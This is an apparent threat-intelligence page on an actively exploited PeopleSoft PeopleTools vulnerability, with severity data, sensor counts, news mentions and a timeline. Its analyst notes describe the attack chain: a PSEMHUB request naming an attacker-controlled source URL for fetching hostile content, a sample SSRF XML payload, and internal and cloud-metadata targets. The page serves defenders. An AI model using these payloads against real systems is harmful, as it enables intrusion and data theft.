KEV Intelligence

Vulnerability report

Active exploitation observed Confirmed confidence In CISA KEV

CVE-2026-35273

PeopleSoft Enterprise PeopleTools

Oracle Corporation / PeopleSoft Enterprise PeopleTools · 8.61

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Severity
CVSS 9.8 · Critical
Confidence
Confirmed
Exploit status
Observed in sensors
EPSS
95.5%
First observed
14 Jun 2026
Last observed
17 Aug 2026

Decision summary

What security teams need to know first

Direct answers before the deeper technical record.

What it is

CVE-2026-35273 is an unauthenticated vulnerability affecting Oracle Corporation PeopleSoft Enterprise PeopleTools. Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component:...

Is it exploited?

Yes. KEV Intelligence sensors observed exploitation attempts with confirmed confidence.

Who is affected?

Oracle Corporation / PeopleSoft Enterprise PeopleTools 8.61.

What should we do?

Patch immediately, validate internet-facing exposure, and monitor for matching requests.

Overview

PeopleSoft Enterprise PeopleTools

Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Updates Environment Management). Supported versions that are affected are 8.61 and 8.62. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.

Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Vendor Product Affected Status
Oracle Corporation PeopleSoft Enterprise PeopleTools 8.61 Affected
Oracle Corporation PeopleSoft Enterprise PeopleTools 8.62 Affected
View vendor advisory (opens in new tab)
Published
11 Jun 2026
Exploitation Reported
11 Jun 2026
Attack vector
Remote
Complexity
Low
Privileges
None
User interaction
None

Tags

malware cisa nuclei_scanner

KEV Intelligence Analysis Notes

Analyst-curated context on exploitation evidence and operational relevance.

Based on KEVIntel honeypot logs and the Mandiant report, we believe this is potentially the CVE-2026-35273 activity chain. Actors typically spray two parallel vectors in the same session; neither is proven to depend on the other. 1. Primary vector — PSEMHUB update-source poisoning (CVE-2026-35273) Attacker sends POST /PSEMHUB/hub with environment-management actions (updateEnvironment, fetchEnvironment, syncEnvironment) and an attacker-controlled sourceURL (e.g. hxxp://attacker_ip:9999/hub_update). 1.1 The hub fetches and processes environment metadata/updates from that sourceURL (missing authentication on this operation). 1.2 Malicious content is staged on disk under PSEMHUB.war/envmetadata/ (transactions, environment XML). 1.3 RCE follows when that content is processed. Mandiant observed XMLDecoder abuse via envmetadata/data/environment/*.xml on app restart, plus unexpected .jsp webshells. Weaponized content is usually hosted at sourceURL, not embedded as shellcode in the POST body. The HTTP request is the trigger. 2. Alternate / parallel vector — Integration Broker SSRF POST /PSIGW/HttpListeningConnector with loopback or internal targets. This is a separate Integration Broker SSRF primitive, often fired alongside vector 1 in automated PoC spray. It is not required after PSEMHUB RCE. Payloads seen in the wild include: EnvironmentManagement XML (often sprayed to both /PSEMHUB/hub and /PSIGW/HttpListeningConnector): <Envelope><Body><EnvironmentManagement> <sourceURL>hxxp://127.0.0.1:7001/console</sourceURL> </EnvironmentManagement></Body></Envelope> IBRequest / HttpTargetConnector (Integration Broker native SSRF gadget) with URL and Method connector parameters — e.g. POST to hxxp://127.0.0.1:8000/PSEMHUB/hub with minimal body content. PoCs may label the operation CVE-2026-35273 in ExternalOperationName; that reflects campaign tooling, not proof that PSIGW SSRF is the same CVE as PSEMHUB. Common SSRF targets include: - WebLogic admin console (127[.]0.0.1:7001/console) - Internal PeopleSoft services (127[.]0.0.1:51500/pspc/services/AdminService) - Cloud metadata endpoint (169[.]254.169.254) - Internal PSEMHUB hub (127[.]0.0.1:<port>/PSEMHUB/hub) — PSIGW used to reach hub on loopback when it is not directly exposed; may be probing or partial delivery, not a full hubAction + sourceURL chain by itself

CVE References

  • CVE Record CVE.org · CVE Record https://www.cve.org/CVERecord?id=CVE-2026-35273
  • Oracle Advisory oracle.com · Vendor Advisory https://www.oracle.com/security-alerts/alert-cve-2026-35273.html

Exploitation evidence

Why KEV Intelligence marks this CVE as exploited

Third-party attestation and first-party sensor observation are shown separately so teams can judge the evidence chain.

Exploited in the wild

BleepingComputer

Recorded 11 Jun 2026

Independent exploitation attestation added to the KEV Intelligence record.

Active exploitation observed

KEV Intelligence sensor

First observed 14 Jun 2026

First-party sensor telemetry confirms matching exploitation attempts.

Used in malware

BleepingComputer

Recorded 12 Jun 2026

Malware families have been linked to exploitation of this CVE.

Proof of concept available

GitHub

Recorded 12 Jun 2026

Public scanner or PoC coverage increases practical exploitability.

Known exploited vulnerability sources

Per-source evidence links for KEV attestations are available through the KEV Intelligence Pro API.

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Source Added
BleepingComputer First 2026-06-11 20:20 UTC
CISA 2026-06-12 00:00 UTC
Rapid7 2026-06-12 14:20 UTC
CVE 2026-06-12 18:01 UTC
All CISA Advisories 2026-06-12 18:20 UTC
KEV Intelligence 2026-06-14 13:47 UTC
Tenable Blog 2026-06-18 10:20 UTC
The Shadowserver 2026-07-10 00:00 UTC

Operational indicators for this CVE are listed under Detection.

Sensor telemetry

First-party evidence of exploitation activity

Aggregate observations show the scale, recency, and distribution of activity without overstating sparse data.

39

Attempts observed

16

Unique attacker IPs

7

Attacker countries

AU · BG · BY · IN · JP · NL · US

5

Sensors observed

Exploitation attempts over the last 68 days

Daily events observed by KEV Intelligence sensors

Updated 19 Aug 2026

0
143
40
68
113
26
0
2
0
54
21
8
2
6
15
0
12
0
26
0
459
0
0
4
11
1
0
13
0
0
0
1
0
0
0
0
2
0
0
0
2
6
0
0
0
0
3
2
0
0
1
18
1
0
0
2
0
0
0
0
2
0
0
0
0
2
0
0
13 Jun 27 Jun 11 Jul 25 Jul 19 Aug

First observed 14 Jun 2026 · Last observed 17 Aug 2026

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Detection

Operational artifacts and observed signals

Make the evidence actionable in scanner, SOC, and edge-control workflows.

Observed signals

Request targets
4
User-Agents
16

Raw values available in Pro and Enterprise.

Virtual patch status

KEV Intelligence virtual patch guidance is available for this CVE.

AWS WAF Cloudflare ModSecurity

Attacker IP Indicators

Attacker IP indicators observed · available in Pro and Enterprise.

Sensor-derived attacker IP indicators are available to Pro and Enterprise accounts under Detection and through the Pro API.

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Scanner Artifacts

Scanner and exploit-framework references linked to this CVE.

Scanner Reference Detected
Nuclei https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-35273.yaml 19 Jun 2026

Virtual Patch Detail

Compensating WAF rules for this CVE.

Available

Enterprise feature. Virtual patch rule content and deployable vendor exports (ModSecurity, Cloudflare, AWS WAF) are available to KEV Intelligence Enterprise users.

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Risk and context

Severity, weaknesses, and research context

CVSS v3.1

9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

95.5%

Weaknesses

Missing Authentication for Critical Function CWE-306

Recent mention · Zero Day Initiative Published Advisories

ZDI-26-387: Oracle PeopleSoft HttpListeningConnector Server-Side Request Forgery Vulnerability

This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of Oracle PeopleSoft. Authentication is not required to exploit this vulnerability. The ZDI has assigned a CVSS rating of 9.3. The following CVEs are assigned:...

Read full advisory

All Mentions

Recent mention · Zero Day Initiative Published Advisories

ZDI-26-389: Oracle PeopleSoft ExecuteProcessActivityCommand External Control of File Path Remote Code Execution Vulnerability

Zero Day Initiative Published Advisories · 24 Jun 2026

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Oracle PeopleSoft. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The ZDI has assigned a CVSS rating of 8.8. The following CVEs are assigned: CVE-2026-35273.

Recent mention · Zero Day Initiative Published Advisories

ZDI-26-388: Oracle PeopleSoft HubMBeanPersistance Deserialization of Untrusted Data Remote Code Execution Vulnerability

Zero Day Initiative Published Advisories · 24 Jun 2026

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Oracle PeopleSoft. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The ZDI has assigned a CVSS rating of 7.5. The following CVEs are assigned: CVE-2026-35273.

Recent mention · Zero Day Initiative Published Advisories

ZDI-26-387: Oracle PeopleSoft HttpListeningConnector Server-Side Request Forgery Vulnerability

Zero Day Initiative Published Advisories · 24 Jun 2026

This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of Oracle PeopleSoft. Authentication is not required to exploit this vulnerability. The ZDI has assigned a CVSS rating of 9.3. The following CVEs are assigned: CVE-2026-35273.

Recent mention · Tenable Blog

Oracle June 2026 Critical Security Patch Update Addresses 243 CVEs (CVE-2026-35273)

Tenable Blog · 18 Jun 2026

Oracle addresses 243 CVEs in its June 2026 Critical Security Patch Update with 245 patches, including 122 critical updates.Key TakeawaysThe June 2026 Critical Security Patch Update (CSPU) contains fixes for 243 unique CVEs in 245 security updates122 issues (49.8% of all patches) were assigned a critical severity ratingOracle Fusion Middleware received the highest number of patches at 106, accounting for 43.3% of all patchesBackgroundOn June 16, Oracle released its Critical Security Patch Update (CSPU) for June 2026. Beginning in May 2026, Oracle introduced CSPUs as a monthly release cycle...

Recent mention · CyberInsider

Google warns of Oracle PeopleSoft attacks hitting universities

CyberInsider · 12 Jun 2026

Google's Mandiant and Google Threat Intelligence Group (GTIG) say the ShinyHunters extortion group exploited a critical Oracle PeopleSoft vulnerability as a zero-day to compromise education institutes. The activity, tracked as UNC6240, was observed between May 27 and June 9 and involved exploitation of CVE-2026-35273, a critical remote code execution flaw in the Environment Management component … The post Google warns of Oracle PeopleSoft attacks hitting universities appeared first on CyberInsider.

Recent mention · Rapid7

Active Exploitation of Oracle PeopleSoft Zero-Day (CVE-2026-35273)

Rapid7 · 12 Jun 2026

OverviewOn June 10, 2026, Oracle published a security alert for CVE-2026-35273, a critical vulnerability in the Updates Environment Management component of PeopleSoft Enterprise PeopleTools. Oracle released an out-of-band patch the same day as the advisory, underscoring the urgency of remediation. The vulnerability has a CVSSv3.1 score of 9.8 and is remotely exploitable without authentication. Per the vendor advisory, successful exploitation may result in remote code execution (RCE). TrendAI has classified the underlying flaw as a server-side request forgery (CWE-918). PeopleTools versions...

Recent mention · All CISA Advisories

CISA Adds One Known Exploited Vulnerability to Catalog

All CISA Advisories · 12 Jun 2026

CISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation. CVE-2026-35273 Oracle PeopleSoft Enterprise PeopleTools Missing Authentication for Critical Function Vulnerability This type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise. Binding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies, updating BOD...

Recent mention · TheHackerNews

ShinyHunters Exploits Oracle PeopleSoft Zero-Day (CVE-2026-35273) to Breach Universities

TheHackerNews · 11 Jun 2026

The ShinyHunters extortion crew exploited an unpatched flaw in Oracle PeopleSoft to break into enterprise systems, steal data, and demand payment to keep it private. The campaign hit universities hardest. Google's Mandiant attributes it to the group it tracks as UNC6240, and dates the activity between May 27 and June 9. Oracle did not publish its advisory until June 10, so the bug was a

Recent mention · DarkWebInformer

Critical Oracle PeopleSoft PeopleTools RCE Exposes Enterprise Systems (CVE-2026-35273)

DarkWebInformer · 11 Jun 2026

CVE-2026-35273 is a critical unauthenticated remote code execution vulnerability in Oracle PeopleSoft Enterprise PeopleTools. Rated CVSS 9.8, the flaw affects PeopleTools versions 8.61 and 8.62 and requires immediate mitigation.

Recent mention · BleepingComputer

Oracle mitigates PeopleSoft zero-day exploited in data theft attacks

BleepingComputer · 11 Jun 2026

Oracle is warning about a critical PeopleSoft Suite zero-day vulnerability tracked as CVE-2026-35273 that allows unauthenticated remote code execution, with the flaw actively exploited in ShinyHunter data theft attacks. [...]

Recent mention · Google Threat Intelligence

Introduction Mandiant and Google Threat Intelligence Group (GTIG) have identified an active compromise and extortion campaign attributed to UNC6240...

Google Threat Intelligence · 11 Jun 2026

Introduction Mandiant and Google Threat Intelligence Group (GTIG) have identified an active compromise and extortion campaign attributed to UNC6240 (ShinyHunters) targeting Oracle PeopleSoft application infrastructure. The activity was observed between May 27, 2026, and June 9, 2026 and is consistent with the exploitation of CVE-2026-35273, a critical remote code execution vulnerability (CVSS 9.8) in the Environment Management component. The exploitation of this vulnerability directly aligns with the observed targeting of Environment Management Hub (PSEMHUB) endpoints. Because this activity...

Recent mention · Oracle Security Alerts

Oracle Security Alert Advisory - CVE-2026-35273

Oracle Security Alerts · 11 Jun 2026

Potential Proof of Concepts

These PoCs are unverified and could contain malware. Use at your own risk.

Oracle PeopleSoft PeopleTools PSEMHUB - Pre-Auth Java Deserialization RCE

nuclei · Created Unknown

Timeline

From disclosure to observed exploitation

  1. KEV confirmed by The Shadowserver

    Exploitation attested by an external source

  2. Virtual patch available

    Compensating WAF rule available to block exploitation

  3. Public PoC available

    Public proof-of-concept code published

  4. Nuclei template available

    Scanner coverage available

  5. KEV confirmed by Tenable Blog

    Exploitation attested by an external source

  6. Observed by KEV Intelligence sensors

    Evidence-backed exploitation signal

  7. Indicators of compromise added (99)

    Indicators of compromise recorded

  8. KEV confirmed by All CISA Advisories

    Exploitation attested by an external source

  9. KEV confirmed by CVE

    Exploitation attested by an external source

  10. KEV confirmed by Rapid7

    Exploitation attested by an external source

  11. Added to CISA KEV

    Listed in the CISA Known Exploited Vulnerabilities catalog

  12. First public exploitation report

    Exploit observed in malware

  13. Added to KEV Intelligence KEV Feed

    High-confidence, third-party attested exploitation

  14. CVE published

    Vulnerability disclosed publicly

  15. CVE ID reserved

    Identifier reserved by the CNA

Pro API

Automate this intelligence

Confidence, exploit status, sensor telemetry, PoCs, scanner integrations, mentions, and tags are available programmatically for VM, SOC, and CTI workflows.

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  • Evidence confidence and provenance
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  • PoC and scanner references
  • Affected versions and enrichment
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GET /api/v2/pro/kevs/CVE-2026-35273

Free JSON includes basic KEV fields 
{
  "cve_id": "CVE-2026-35273",
  "confidence": "Confirmed",
  "cvss_score": 9.8,
  "cvss_estimated": false,
  "epss_score": 0.95473,
  "exploit_status": {
    "exploited_in_the_wild": true,
    "active_exploitation_observed": true
  },
  "sensor_telemetry": { "attempts": 39, "sensors": 5 }
}

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